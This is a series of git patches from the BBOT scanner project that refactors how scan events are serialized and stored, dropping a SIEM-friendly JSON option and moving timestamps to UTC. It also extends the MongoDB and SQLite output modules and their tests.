siem_friendly=False): data = data_attr else: data = smart_decode(self.data) - if siem_friendly: - j["data"] = {self.type: data} - else: + if isinstance(data, str): j["data"] = data + elif isinstance(data, dict): + j["data_json"] = data + else: + raise ValueError(f"Invalid data type: {type(data)}") # host, dns children if self.host: j["host"] = str(self.host) @@ -1725,7 +1726,7 @@ def make_event( ) -def event_from_json(j, siem_friendly=False): +def event_from_json(j): """ Creates an event object from a JSON dictionary. @@ -1757,10 +1758,7 @@ def event_from_json(j, siem_friendly=False): "context": j.get("discovery_context", None), "dummy": True, } - if siem_friendly: - data = j["data"][event_type] - else: - data = j["data"] + data = j.get("data_json", j.get("data", None)) kwargs["data"] = data event = make_event(**kwargs) event_uuid = j.get("uuid", None) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index 388d85f05f..0591a93515 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -57,13 +57,13 @@ def _datetime_fields(cls): ### EVENT ### - class Event(BBOTBaseModel): uuid: Annotated[str, "indexed", "unique"] id: Annotated[str, "indexed"] type: Annotated[str, "indexed"] scope_description: str - data: Union[dict, str] + data: Annotated[Optional[str], "indexed"] = None + data_json: Optional[dict] = None host: Annotated[Optional[str], "indexed"] = None port: Optional[int] = None netloc: Optional[str] = None @@ -75,8 +75,8 @@ class Event(BBOTBaseModel): web_spider_distance: int = 10 scope_distance: int = 10 scan: Annotated[str, "indexed"] - timestamp: Annotated[NaiveUTC, "indexed"] - inserted_at: Optional[Annotated[NaiveUTC, "indexed"]] = Field(default_factory=naive_utc_now) + timestamp: Annotated[float, "indexed"] + inserted_at: Annotated[Optional[float], "indexed"] = Field(default_factory=naive_utc_now) parent: Annotated[str, "indexed"] parent_uuid: Annotated[str, "indexed"] tags: List = [] @@ -91,9 +91,13 @@ def __init__(self, **data): if self.host: self.reverse_host = self.host[::-1] + def get_data(self): + if self.data is not None: + return self.data + return self.data_json -### SCAN ### +### SCAN ### class Scan(BBOTBaseModel): id: Annotated[str, "indexed", "unique"] diff --git a/bbot/models/sql.py b/bbot/models/sql.py index d6e7656108..9c5c8ef11a 100644 --- a/bbot/models/sql.py +++ b/bbot/models/sql.py @@ -67,24 +67,18 @@ def __eq__(self, other): ### EVENT ### - class Event(BBOTBaseModel, table=True): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) - data = self._get_data(self.data, self.type) - self.data = {self.type: data} + if self.data is None and self.data_json is None: + raise ValueError("data or data_json must be provided") if self.host: self.reverse_host = self.host[::-1] def get_data(self): - return self._get_data(self.data, self.type) - - @staticmethod - def _get_data(data, type): - # handle SIEM-friendly format - if isinstance(data, dict) and list(data) == [type]: - return data[type] - return data + if self.data is not None: + return self.data + return self.data_json uuid: str = Field( primary_key=True, @@ -94,7 +88,8 @@ def _get_data(data, type): id: str = Field(index=True) type: str = Field(index=True) scope_description: str - data: dict = Field(sa_type=JSON) + data: Optional[str] = Field(default=None, index=True) + data_json: Optional[dict] = Field(default=None) host: Optional[str] port: Optional[int] netloc: Optional[str] @@ -118,7 +113,6 @@ def _get_data(data, type): ### SCAN ### - class Scan(BBOTBaseModel, table=True): id: str = Field(primary_key=True) name: str @@ -133,7 +127,6 @@ class Scan(BBOTBaseModel, table=True): ### TARGET ### - class Target(BBOTBaseModel, table=True): name: str = "Default Target" strict_scope: bool = False diff --git a/bbot/modules/output/http.py b/bbot/modules/output/http.py index 9d9241da0b..7d94148d72 100644 --- a/bbot/modules/output/http.py +++ b/bbot/modules/output/http.py @@ -15,7 +15,6 @@ class HTTP(BaseOutputModule): "username": "", "password": "", "timeout": 10, - "siem_friendly": False, } options_desc = { "url": "Web URL", @@ -24,14 +23,12 @@ class HTTP(BaseOutputModule): "username": "Username (basic auth)", "password": "Password (basic auth)", "timeout": "HTTP timeout", - "siem_friendly": "Format JSON in a SIEM-friendly way for ingestion into Elastic, Splunk, etc.", } async def setup(self): self.url = self.config.get("url", "") self.method = self.config.get("method", "POST") self.timeout = self.config.get("timeout", 10) - self.siem_friendly = self.config.get("siem_friendly", False) self.headers = {} bearer = self.config.get("bearer", "") if bearer: @@ -56,7 +53,7 @@ async def handle_event(self, event): method=self.method, auth=self.auth, headers=self.headers, - json=event.json(siem_friendly=self.siem_friendly), + json=event.json(), ) is_success = False if response is None else response.is_success if not is_success: diff --git a/bbot/modules/output/json.py b/bbot/modules/output/json.py index a35fa6aed7..b93d1e4e3f 100644 --- a/bbot/modules/output/json.py +++ b/bbot/modules/output/json.py @@ -11,20 +11,18 @@ class JSON(BaseOutputModule): "created_date": "2022-04-07", "author": "@TheTechromancer", } - options = {"output_file": "", "siem_friendly": False} + options = {"output_file": ""} options_desc = { "output_file": "Output to file", - "siem_friendly": "Output JSON in a SIEM-friendly format for ingestion into Elastic, Splunk, etc.", } _preserve_graph = True async def setup(self): self._prep_output_dir("output.json") - self.siem_friendly = self.config.get("siem_friendly", False) return True async def handle_event(self, event): - event_json = event.json(siem_friendly=self.siem_friendly) + event_json = event.json() event_str = json.dumps(event_json) if self.file is not None: self.file.write(event_str + "\n") diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py index 03185b169c..5e555ab0ff 100644 --- a/bbot/modules/output/mongo.py +++ b/bbot/modules/output/mongo.py @@ -71,3 +71,11 @@ async def handle_event(self, event): # Insert as a new scan if no existing scan is found await self.scans_collection.insert_one(event_pydantic.model_dump()) self.verbose(f"Inserted new scan event with UUID: {event_pydantic.uuid}") + + target_data = scan_json.get("target", {}) + target = Target(**target_data) + existing_target = await self.targets_collection.find_one({"uuid": target.uuid}) + if existing_target: + await self.targets_collection.replace_one({"uuid": target.uuid}, target.model_dump()) + else: + await self.targets_collection.insert_one(target.model_dump()) diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index a8769cf3ba..a2654818f4 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -529,28 +529,17 @@ async def test_events(events, helpers): assert hostless_event_json["data"] == "asdf" assert "host" not in hostless_event_json - # SIEM-friendly serialize/deserialize - json_event_siemfriendly = db_event.json(siem_friendly=True) - assert json_event_siemfriendly["scope_distance"] == 1 - assert json_event_siemfriendly["data"] == {"OPEN_TCP_PORT": "evilcorp.com:80"} - assert json_event_siemfriendly["type"] == "OPEN_TCP_PORT" - assert json_event_siemfriendly["host"] == "evilcorp.com" - assert json_event_siemfriendly["timestamp"] == timestamp - reconstituted_event2 = event_from_json(json_event_siemfriendly, siem_friendly=True) - assert reconstituted_event2.scope_distance == 1 - assert reconstituted_event2.timestamp.timestamp() == timestamp - assert reconstituted_event2.data == "evilcorp.com:80" - assert reconstituted_event2.type == "OPEN_TCP_PORT" - assert reconstituted_event2.host == "evilcorp.com" - assert "127.0.0.1" in reconstituted_event2.resolved_hosts - http_response = scan.make_event(httpx_response, "HTTP_RESPONSE", parent=scan.root_event) assert http_response.parent_id == scan.root_event.id assert http_response.data["input"] == "http://example.com:80" json_event = http_response.json(mode="graph") + assert "data" in json_event + assert "data_json" not in json_event assert isinstance(json_event["data"], str) json_event = http_response.json() - assert isinstance(json_event["data"], dict) + assert "data" not in json_event + assert "data_json" in json_event + assert isinstance(json_event["data_json"], dict) assert json_event["type"] == "HTTP_RESPONSE" assert json_event["host"] == "example.com" assert json_event["parent"] == scan.root_event.id diff --git a/bbot/test/test_step_2/module_tests/test_module_http.py b/bbot/test/test_step_2/module_tests/test_module_http.py index 2bc99f5ddf..df90b78525 100644 --- a/bbot/test/test_step_2/module_tests/test_module_http.py +++ b/bbot/test/test_step_2/module_tests/test_module_http.py @@ -52,12 +52,3 @@ def check(self, module_test, events): assert self.headers_correct is True assert self.method_correct is True assert self.url_correct is True - - -class TestHTTPSIEMFriendly(TestHTTP): - modules_overrides = ["http"] - config_overrides = {"modules": {"http": dict(TestHTTP.config_overrides["modules"]["http"])}} - config_overrides["modules"]["http"]["siem_friendly"] = True - - def verify_data(self, j): - return j["data"] == {"DNS_NAME": "blacklanternsecurity.com"} and j["type"] == "DNS_NAME" diff --git a/bbot/test/test_step_2/module_tests/test_module_json.py b/bbot/test/test_step_2/module_tests/test_module_json.py index 27ed5a55e0..bf79eeb13f 100644 --- a/bbot/test/test_step_2/module_tests/test_module_json.py +++ b/bbot/test/test_step_2/module_tests/test_module_json.py @@ -53,18 +53,3 @@ def check(self, module_test, events): assert dns_reconstructed.discovery_context == context_data assert dns_reconstructed.discovery_path == [context_data] assert dns_reconstructed.parent_chain == [dns_json["uuid"]] - - -class TestJSONSIEMFriendly(ModuleTestBase): - modules_overrides = ["json"] - config_overrides = {"modules": {"json": {"siem_friendly": True}}} - - def check(self, module_test, events): - txt_file = module_test.scan.home / "output.json" - lines = list(module_test.scan.helpers.read_file(txt_file)) - passed = False - for line in lines: - e = json.loads(line) - if e["data"] == {"DNS_NAME": "blacklanternsecurity.com"}: - passed = True - assert passed diff --git a/bbot/test/test_step_2/module_tests/test_module_mongo.py b/bbot/test/test_step_2/module_tests/test_module_mongo.py index 31e7f70747..fcfed7841a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_mongo.py +++ b/bbot/test/test_step_2/module_tests/test_module_mongo.py @@ -72,12 +72,16 @@ async def check(self, module_test, events): db = client[self.test_db_name] events_collection = db.get_collection(self.test_collection_prefix + "events") + ### INDEXES ### + # make sure the collection has all the right indexes cursor = events_collection.list_indexes() indexes = await cursor.to_list(length=None) for field in Event._indexed_fields(): assert any(field in index["key"] for index in indexes), f"Index for {field} not found" + ### EVENTS ### + # Fetch all events from the collection cursor = events_collection.find({}) db_events = await cursor.to_list(length=None) @@ -86,11 +90,8 @@ async def check(self, module_test, events): assert len(events_json) == len(db_events) for db_event in db_events: - # we currently don't store timestamps as datetime objects because mongodb has lower precision - # assert isinstance(db_event["timestamp"], datetime) - # assert isinstance(db_event["inserted_at"], datetime) - assert isinstance(db_event["timestamp"], str) - assert isinstance(db_event["inserted_at"], str) + assert isinstance(db_event["timestamp"], float) + assert isinstance(db_event["inserted_at"], float) # Convert to Pydantic objects and dump them db_events_pydantic = [Event(**e).model_dump(exclude_none=True) for e in db_events] @@ -121,6 +122,15 @@ async def check(self, module_test, events): # They should match after removing reverse_host assert events_json == db_events_pydantic, "Events do not match" + ### SCANS ### + + # Fetch all scans from the collection + cursor = db.get_collection(self.test_collection_prefix + "scans").find({}) + db_scans = await cursor.to_list(length=None) + assert len(db_scans) == 1, "There should be exactly one scan" + db_scan = db_scans[0] + assert db_scan["scan"]["id"] == main_event["scan"], "Scan id should match main event scan" + finally: # Clean up: Delete all documents in the collection await events_collection.delete_many({}) diff --git a/docs/scanning/tips_and_tricks.md b/docs/scanning/tips_and_tricks.md index c5073c1d63..e13d82875e 100644 --- a/docs/scanning/tips_and_tricks.md +++ b/docs/scanning/tips_and_tricks.md @@ -108,24 +108,6 @@ config: bbot -t evilcorp.com -p skip_cdns.yml ``` -### Ingest BBOT Data Into SIEM (Elastic, Splunk) - -If your goal is to run a BBOT scan and later feed its data into a SIEM such as Elastic, be sure to enable this option when scanning: - -```bash -bbot -t evilcorp.com -c modules.json.siem_friendly=true -``` - -This ensures the `.data` event attribute is always the same type (a dictionary), by nesting it like so: -```json -{ - "type": "DNS_NAME", - "data": { - "DNS_NAME": "blacklanternsecurity.com" - } -} -``` - ### Custom HTTP Proxy Web pentesters may appreciate BBOT's ability to quickly populate Burp Suite site maps for all subdomains in a target. If your scan includes gowitness, this will capture the traffic as if you manually visited each website in your browser -- including auxiliary web resources and javascript API calls. To accomplish this, set the `web.http_proxy` config option like so: From 894c86cc60944cd4f9c84d10b4bbec1fd4d4c283 Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 21 Nov 2024 20:00:28 -0500 Subject: [PATCH 056/912] steady work on mongo, bbot 3.0 --- bbot/core/event/base.py | 7 +- bbot/models/helpers.py | 20 +++--- bbot/models/pydantic.py | 71 +++++++++---------- bbot/models/sql.py | 27 +++---- bbot/modules/output/mongo.py | 16 ++--- bbot/scanner/scanner.py | 12 ++-- bbot/test/bbot_fixtures.py | 14 ++-- bbot/test/test_step_1/test_db_models.py | 25 ++++++- bbot/test/test_step_1/test_events.py | 2 +- .../module_tests/test_module_mongo.py | 12 +++- .../module_tests/test_module_sqlite.py | 14 ++++ 11 files changed, 128 insertions(+), 92 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 89d8474116..611711eae8 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -12,6 +12,7 @@ from copy import copy from pathlib import Path from typing import Optional +from zoneinfo import ZoneInfo from contextlib import suppress from radixtarget import RadixTarget from urllib.parse import urljoin, parse_qs @@ -40,7 +41,7 @@ validators, get_file_extension, ) -from bbot.models.helpers import naive_datetime_validator +from bbot.models.helpers import utc_datetime_validator log = logging.getLogger("bbot.core.event") @@ -804,7 +805,7 @@ def json(self, mode="json"): if self.scan: j["scan"] = self.scan.id # timestamp - j["timestamp"] = naive_datetime_validator(self.timestamp).timestamp() + j["timestamp"] = utc_datetime_validator(self.timestamp).timestamp() # parent event parent_id = self.parent_id if parent_id: @@ -1770,7 +1771,7 @@ def event_from_json(j): # accept both isoformat and unix timestamp try: - event.timestamp = datetime.datetime.fromtimestamp(j["timestamp"]) + event.timestamp = datetime.datetime.fromtimestamp(j["timestamp"], ZoneInfo("UTC")) except Exception: event.timestamp = datetime.datetime.fromisoformat(j["timestamp"]) event.scope_distance = j["scope_distance"] diff --git a/bbot/models/helpers.py b/bbot/models/helpers.py index 985c845994..c7fc078a45 100644 --- a/bbot/models/helpers.py +++ b/bbot/models/helpers.py @@ -1,20 +1,22 @@ +from datetime import UTC from datetime import datetime from typing_extensions import Annotated from pydantic.functional_validators import AfterValidator -def naive_datetime_validator(d: datetime) -> datetime: +def utc_datetime_validator(d: datetime) -> datetime: """ - Converts all dates into UTC, then drops timezone information. - - This is needed to prevent inconsistencies in sqlite, because it is timezone-naive. + Converts all dates into UTC """ - # drop timezone info - return d.replace(tzinfo=None) + if d.tzinfo is not None: + return d.astimezone(UTC) + else: + return d.replace(tzinfo=UTC) -def naive_utc_now() -> datetime: - return naive_datetime_validator(datetime.now()) +def utc_now() -> datetime: + return datetime.now(UTC) -NaiveUTC = Annotated[datetime, AfterValidator(naive_datetime_validator)] +def utc_now_timestamp() -> datetime: + return utc_now().timestamp() diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index 0591a93515..356ab2e44c 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -1,9 +1,8 @@ import logging -from datetime import datetime from pydantic import BaseModel, ConfigDict, Field -from typing import Optional, List, Union, Annotated, get_type_hints +from typing import Optional, List, Union, Annotated -from bbot.models.helpers import NaiveUTC, naive_utc_now +from bbot.models.helpers import utc_now_timestamp log = logging.getLogger("bbot_server.models") @@ -11,14 +10,6 @@ class BBOTBaseModel(BaseModel): model_config = ConfigDict(extra="ignore") - def model_dump(self, **kwargs): - ret = super().model_dump(**kwargs) - # convert datetime fields to unix timestamps - for datetime_field in self._datetime_fields(): - if datetime_field in ret: - ret[datetime_field] = ret[datetime_field].timestamp() - return ret - def __hash__(self): return hash(self.to_json()) @@ -29,34 +20,37 @@ def __eq__(self, other): def _indexed_fields(cls): return sorted(field_name for field_name, field in cls.model_fields.items() if "indexed" in field.metadata) - @classmethod - def _get_type_hints(cls): - """ - Drills down past all the Annotated, Optional, and Union layers to get the underlying type hint - """ - type_hints = get_type_hints(cls) - unwrapped_type_hints = {} - for field_name in cls.model_fields: - type_hint = type_hints[field_name] - while 1: - if getattr(type_hint, "__origin__", None) in (Annotated, Optional, Union): - type_hint = type_hint.__args__[0] - else: - break - unwrapped_type_hints[field_name] = type_hint - return unwrapped_type_hints - - @classmethod - def _datetime_fields(cls): - datetime_fields = [] - for field_name, type_hint in cls._get_type_hints().items(): - if type_hint == datetime: - datetime_fields.append(field_name) - return sorted(datetime_fields) + # we keep these because they were a lot of work to make and maybe someday they'll be useful again + + # @classmethod + # def _get_type_hints(cls): + # """ + # Drills down past all the Annotated, Optional, and Union layers to get the underlying type hint + # """ + # type_hints = get_type_hints(cls) + # unwrapped_type_hints = {} + # for field_name in cls.model_fields: + # type_hint = type_hints[field_name] + # while 1: + # if getattr(type_hint, "__origin__", None) in (Annotated, Optional, Union): + # type_hint = type_hint.__args__[0] + # else: + # break + # unwrapped_type_hints[field_name] = type_hint + # return unwrapped_type_hints + + # @classmethod + # def _datetime_fields(cls): + # datetime_fields = [] + # for field_name, type_hint in cls._get_type_hints().items(): + # if type_hint == datetime: + # datetime_fields.append(field_name) + # return sorted(datetime_fields) ### EVENT ### + class Event(BBOTBaseModel): uuid: Annotated[str, "indexed", "unique"] id: Annotated[str, "indexed"] @@ -76,7 +70,7 @@ class Event(BBOTBaseModel): scope_distance: int = 10 scan: Annotated[str, "indexed"] timestamp: Annotated[float, "indexed"] - inserted_at: Annotated[Optional[float], "indexed"] = Field(default_factory=naive_utc_now) + inserted_at: Annotated[Optional[float], "indexed"] = Field(default_factory=utc_now_timestamp) parent: Annotated[str, "indexed"] parent_uuid: Annotated[str, "indexed"] tags: List = [] @@ -99,12 +93,13 @@ def get_data(self): ### SCAN ### + class Scan(BBOTBaseModel): id: Annotated[str, "indexed", "unique"] name: str status: Annotated[str, "indexed"] - started_at: Annotated[NaiveUTC, "indexed"] - finished_at: Optional[Annotated[NaiveUTC, "indexed"]] = None + started_at: Annotated[float, "indexed"] + finished_at: Annotated[Optional[float], "indexed"] = None duration_seconds: Optional[float] = None duration: Optional[str] = None target: dict diff --git a/bbot/models/sql.py b/bbot/models/sql.py index 9c5c8ef11a..82ccdb1f6f 100644 --- a/bbot/models/sql.py +++ b/bbot/models/sql.py @@ -3,13 +3,15 @@ import json import logging +from datetime import datetime from pydantic import ConfigDict from typing import List, Optional -from datetime import datetime, timezone from typing_extensions import Annotated from pydantic.functional_validators import AfterValidator from sqlmodel import inspect, Column, Field, SQLModel, JSON, String, DateTime as SQLADateTime +from bbot.models.helpers import utc_now_timestamp + log = logging.getLogger("bbot_server.models") @@ -27,14 +29,6 @@ def naive_datetime_validator(d: datetime): NaiveUTC = Annotated[datetime, AfterValidator(naive_datetime_validator)] -class CustomJSONEncoder(json.JSONEncoder): - def default(self, obj): - # handle datetime - if isinstance(obj, datetime): - return obj.isoformat() - return super().default(obj) - - class BBOTBaseModel(SQLModel): model_config = ConfigDict(extra="ignore") @@ -52,7 +46,7 @@ def validated(self): return self def to_json(self, **kwargs): - return json.dumps(self.validated.model_dump(), sort_keys=True, cls=CustomJSONEncoder, **kwargs) + return json.dumps(self.validated.model_dump(), sort_keys=True, **kwargs) @classmethod def _pk_column_names(cls): @@ -67,11 +61,10 @@ def __eq__(self, other): ### EVENT ### + class Event(BBOTBaseModel, table=True): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) - if self.data is None and self.data_json is None: - raise ValueError("data or data_json must be provided") if self.host: self.reverse_host = self.host[::-1] @@ -87,12 +80,12 @@ def get_data(self): ) id: str = Field(index=True) type: str = Field(index=True) - scope_description: str data: Optional[str] = Field(default=None, index=True) - data_json: Optional[dict] = Field(default=None) + data_json: Optional[dict] = Field(default=None, sa_type=JSON) host: Optional[str] port: Optional[int] netloc: Optional[str] + scope_description: str # store the host in reversed form for efficient lookups by domain reverse_host: Optional[str] = Field(default="", exclude=True, index=True) resolved_hosts: List = Field(default=[], sa_type=JSON) @@ -100,7 +93,8 @@ def get_data(self): web_spider_distance: int = 10 scope_distance: int = Field(default=10, index=True) scan: str = Field(index=True) - timestamp: NaiveUTC = Field(index=True) + timestamp: float = Field(index=True) + inserted_at: float = Field(default_factory=utc_now_timestamp) parent: str = Field(index=True) tags: List = Field(default=[], sa_type=JSON) module: str = Field(index=True) @@ -108,11 +102,11 @@ def get_data(self): discovery_context: str = "" discovery_path: List[str] = Field(default=[], sa_type=JSON) parent_chain: List[str] = Field(default=[], sa_type=JSON) - inserted_at: NaiveUTC = Field(default_factory=lambda: datetime.now(timezone.utc)) ### SCAN ### + class Scan(BBOTBaseModel, table=True): id: str = Field(primary_key=True) name: str @@ -127,6 +121,7 @@ class Scan(BBOTBaseModel, table=True): ### TARGET ### + class Target(BBOTBaseModel, table=True): name: str = "Default Target" strict_scope: bool = False diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py index 5e555ab0ff..6ad16620f6 100644 --- a/bbot/modules/output/mongo.py +++ b/bbot/modules/output/mongo.py @@ -23,7 +23,7 @@ class Mongo(BaseOutputModule): "database": "The name of the database to use", "username": "The username to use to connect to the database", "password": "The password to use to connect to the database", - "collection_prefix": "Prefix each collection with this string", + "collection_prefix": "Prefix the name of each collection with this string", } deps_pip = ["motor~=3.6.0"] @@ -62,20 +62,20 @@ async def handle_event(self, event): await self.events_collection.insert_one(event_pydantic.model_dump()) if event.type == "SCAN": - scan_json = Scan.from_event(event).model_dump() - existing_scan = await self.scans_collection.find_one({"uuid": event_pydantic.uuid}) + scan_json = Scan(**event.data_json).model_dump() + existing_scan = await self.scans_collection.find_one({"id": event_pydantic.id}) if existing_scan: - await self.scans_collection.replace_one({"uuid": event_pydantic.uuid}, scan_json) - self.verbose(f"Updated scan event with UUID: {event_pydantic.uuid}") + await self.scans_collection.replace_one({"id": event_pydantic.id}, scan_json) + self.verbose(f"Updated scan event with ID: {event_pydantic.id}") else: # Insert as a new scan if no existing scan is found await self.scans_collection.insert_one(event_pydantic.model_dump()) - self.verbose(f"Inserted new scan event with UUID: {event_pydantic.uuid}") + self.verbose(f"Inserted new scan event with ID: {event_pydantic.id}") target_data = scan_json.get("target", {}) target = Target(**target_data) - existing_target = await self.targets_collection.find_one({"uuid": target.uuid}) + existing_target = await self.targets_collection.find_one({"hash": target.hash}) if existing_target: - await self.targets_collection.replace_one({"uuid": target.uuid}, target.model_dump()) + await self.targets_collection.replace_one({"hash": target.hash}, target.model_dump()) else: await self.targets_collection.insert_one(target.model_dump()) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 7e058ae6fb..1b66569a44 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -6,7 +6,7 @@ import regex as re from pathlib import Path from sys import exc_info -from datetime import datetime +from datetime import datetime, UTC from collections import OrderedDict from bbot import __version__ @@ -327,8 +327,8 @@ async def async_start_without_generator(self): async def async_start(self): """ """ - self.start_time = datetime.now() - self.root_event.data["started_at"] = self.start_time.isoformat() + self.start_time = datetime.now(UTC) + self.root_event.data["started_at"] = self.start_time.timestamp() try: await self._prep() @@ -436,7 +436,7 @@ async def _mark_finished(self): else: status = "FINISHED" - self.end_time = datetime.now() + self.end_time = datetime.now(UTC) self.duration = self.end_time - self.start_time self.duration_seconds = self.duration.total_seconds() self.duration_human = self.helpers.human_timedelta(self.duration) @@ -1130,9 +1130,9 @@ def json(self): j["target"] = self.preset.target.json j["preset"] = self.preset.to_dict(redact_secrets=True) if self.start_time is not None: - j["started_at"] = self.start_time.isoformat() + j["started_at"] = self.start_time.timestamp() if self.end_time is not None: - j["finished_at"] = self.end_time.isoformat() + j["finished_at"] = self.end_time.timestamp() if self.duration is not None: j["duration_seconds"] = self.duration_seconds if self.duration_human is not None: diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index 58038d860b..be4e2b92bf 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -254,12 +254,12 @@ class bbot_events: return bbot_events -# @pytest.fixture(scope="session", autouse=True) -# def install_all_python_deps(): -# deps_pip = set() -# for module in DEFAULT_PRESET.module_loader.preloaded().values(): -# deps_pip.update(set(module.get("deps", {}).get("pip", []))) +@pytest.fixture(scope="session", autouse=True) +def install_all_python_deps(): + deps_pip = set() + for module in DEFAULT_PRESET.module_loader.preloaded().values(): + deps_pip.update(set(module.get("deps", {}).get("pip", []))) -# constraint_file = tempwordlist(get_python_constraints()) + constraint_file = tempwordlist(get_python_constraints()) -# subprocess.run([sys.executable, "-m", "pip", "install", "--constraint", constraint_file] + list(deps_pip)) + subprocess.run([sys.executable, "-m", "pip", "install", "--constraint", constraint_file] + list(deps_pip)) diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py index d29e7e79a8..a8088be4f2 100644 --- a/bbot/test/test_step_1/test_db_models.py +++ b/bbot/test/test_step_1/test_db_models.py @@ -1,11 +1,23 @@ -from datetime import datetime +from datetime import datetime, UTC +from zoneinfo import ZoneInfo from bbot.models.pydantic import Event +from bbot.core.event.base import BaseEvent +from bbot.models.helpers import utc_datetime_validator from ..bbot_fixtures import * # noqa def test_pydantic_models(events): + # test datetime helpers + now = datetime.now(ZoneInfo("America/New_York")) + utc_now = utc_datetime_validator(now) + assert now.timestamp() == utc_now.timestamp() + now2 = datetime.fromtimestamp(utc_now.timestamp(), UTC) + assert now2.timestamp() == utc_now.timestamp() + utc_now2 = utc_datetime_validator(now2) + assert utc_now2.timestamp() == utc_now.timestamp() + assert Event._datetime_fields() == ["inserted_at", "timestamp"] test_event = Event(**events.ipv4.json()) @@ -23,18 +35,25 @@ def test_pydantic_models(events): ] # convert events to pydantic and back, making sure they're exactly the same - for event in ("http_response", "finding", "vulnerability", "ipv4", "storage_bucket"): + for event in ("ipv4", "http_response", "finding", "vulnerability", "storage_bucket"): e = getattr(events, event) event_json = e.json() event_pydantic = Event(**event_json) event_pydantic_dict = event_pydantic.model_dump() + event_reconstituted = BaseEvent.from_json(event_pydantic_dict) assert isinstance(event_json["timestamp"], float) assert isinstance(e.timestamp, datetime) assert isinstance(event_pydantic.timestamp, datetime) assert not "inserted_at" in event_json assert isinstance(event_pydantic_dict["timestamp"], float) assert isinstance(event_pydantic_dict["inserted_at"], float) - assert event_pydantic.model_dump(exclude_none=True, exclude=["reverse_host", "inserted_at"]) == event_json + + event_pydantic_dict = event_pydantic.model_dump(exclude_none=True, exclude=["reverse_host", "inserted_at"]) + assert event_pydantic_dict == event_json + event_pydantic_dict.pop("scan") + event_pydantic_dict.pop("module") + event_pydantic_dict.pop("module_sequence") + assert event_reconstituted.json() == event_pydantic_dict # TODO: SQL diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index a2654818f4..6ee006217d 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -494,7 +494,7 @@ async def test_events(events, helpers): assert db_event.parent_chain[0] == str(db_event.uuid) assert db_event.parent.uuid == scan.root_event.uuid assert db_event.parent_uuid == scan.root_event.uuid - timestamp = db_event.timestamp.replace(tzinfo=None).timestamp() + timestamp = db_event.timestamp.timestamp() json_event = db_event.json() assert isinstance(json_event["uuid"], str) assert json_event["uuid"] == str(db_event.uuid) diff --git a/bbot/test/test_step_2/module_tests/test_module_mongo.py b/bbot/test/test_step_2/module_tests/test_module_mongo.py index fcfed7841a..ac28e64e7b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_mongo.py +++ b/bbot/test/test_step_2/module_tests/test_module_mongo.py @@ -129,7 +129,17 @@ async def check(self, module_test, events): db_scans = await cursor.to_list(length=None) assert len(db_scans) == 1, "There should be exactly one scan" db_scan = db_scans[0] - assert db_scan["scan"]["id"] == main_event["scan"], "Scan id should match main event scan" + assert db_scan["id"] == main_event["scan"], "Scan id should match main event scan" + + ### TARGETS ### + + # Fetch all targets from the collection + cursor = db.get_collection(self.test_collection_prefix + "targets").find({}) + db_targets = await cursor.to_list(length=None) + assert len(db_targets) == 1, "There should be exactly one target" + db_target = db_targets[0] + scan_event = next(e for e in events if e.type == "SCAN") + assert db_target["hash"] == scan_event.data["target"]["hash"], "Target hash should match scan target hash" finally: # Clean up: Delete all documents in the collection diff --git a/bbot/test/test_step_2/module_tests/test_module_sqlite.py b/bbot/test/test_step_2/module_tests/test_module_sqlite.py index ec80b7555d..7970627b15 100644 --- a/bbot/test/test_step_2/module_tests/test_module_sqlite.py +++ b/bbot/test/test_step_2/module_tests/test_module_sqlite.py @@ -8,6 +8,8 @@ class TestSQLite(ModuleTestBase): def check(self, module_test, events): sqlite_output_file = module_test.scan.home / "output.sqlite" assert sqlite_output_file.exists(), "SQLite output file not found" + + # first connect with raw sqlite with sqlite3.connect(sqlite_output_file) as db: cursor = db.cursor() results = cursor.execute("SELECT * FROM event").fetchall() @@ -16,3 +18,15 @@ def check(self, module_test, events): assert len(results) == 1, "No scans found in SQLite database" results = cursor.execute("SELECT * FROM target").fetchall() assert len(results) == 1, "No targets found in SQLite database" + + # then connect with bbot models + from bbot.models.sql import Event + from sqlmodel import create_engine, Session, select + + engine = create_engine(f"sqlite:///{sqlite_output_file}") + + with Session(engine) as session: + statement = select(Event).where(Event.host == "evilcorp.com") + event = session.exec(statement).first() + assert event.host == "evilcorp.com", "Event host should match target host" + assert event.data == "evilcorp.com", "Event data should match target host" From 0200bd2dfb6dc3553d9b54da37393b6218275c7e Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 21 Nov 2024 20:02:48 -0500 Subject: [PATCH 057/912] flaked --- bbot/models/helpers.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/bbot/models/helpers.py b/bbot/models/helpers.py index c7fc078a45..47959ad4ac 100644 --- a/bbot/models/helpers.py +++ b/bbot/models/helpers.py @@ -1,7 +1,5 @@ from datetime import UTC from datetime import datetime -from typing_extensions import Annotated -from pydantic.functional_validators import AfterValidator def utc_datetime_validator(d: datetime) -> datetime: From 70d058710c616ace8fd735790e3bc0e126fe9779 Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 25 Nov 2024 10:29:16 -0500 Subject: [PATCH 058/912] fix conflict --- bbot/core/event/base.py | 7 ++++++- bbot/test/test_step_1/test_bbot_fastapi.py | 4 ++-- 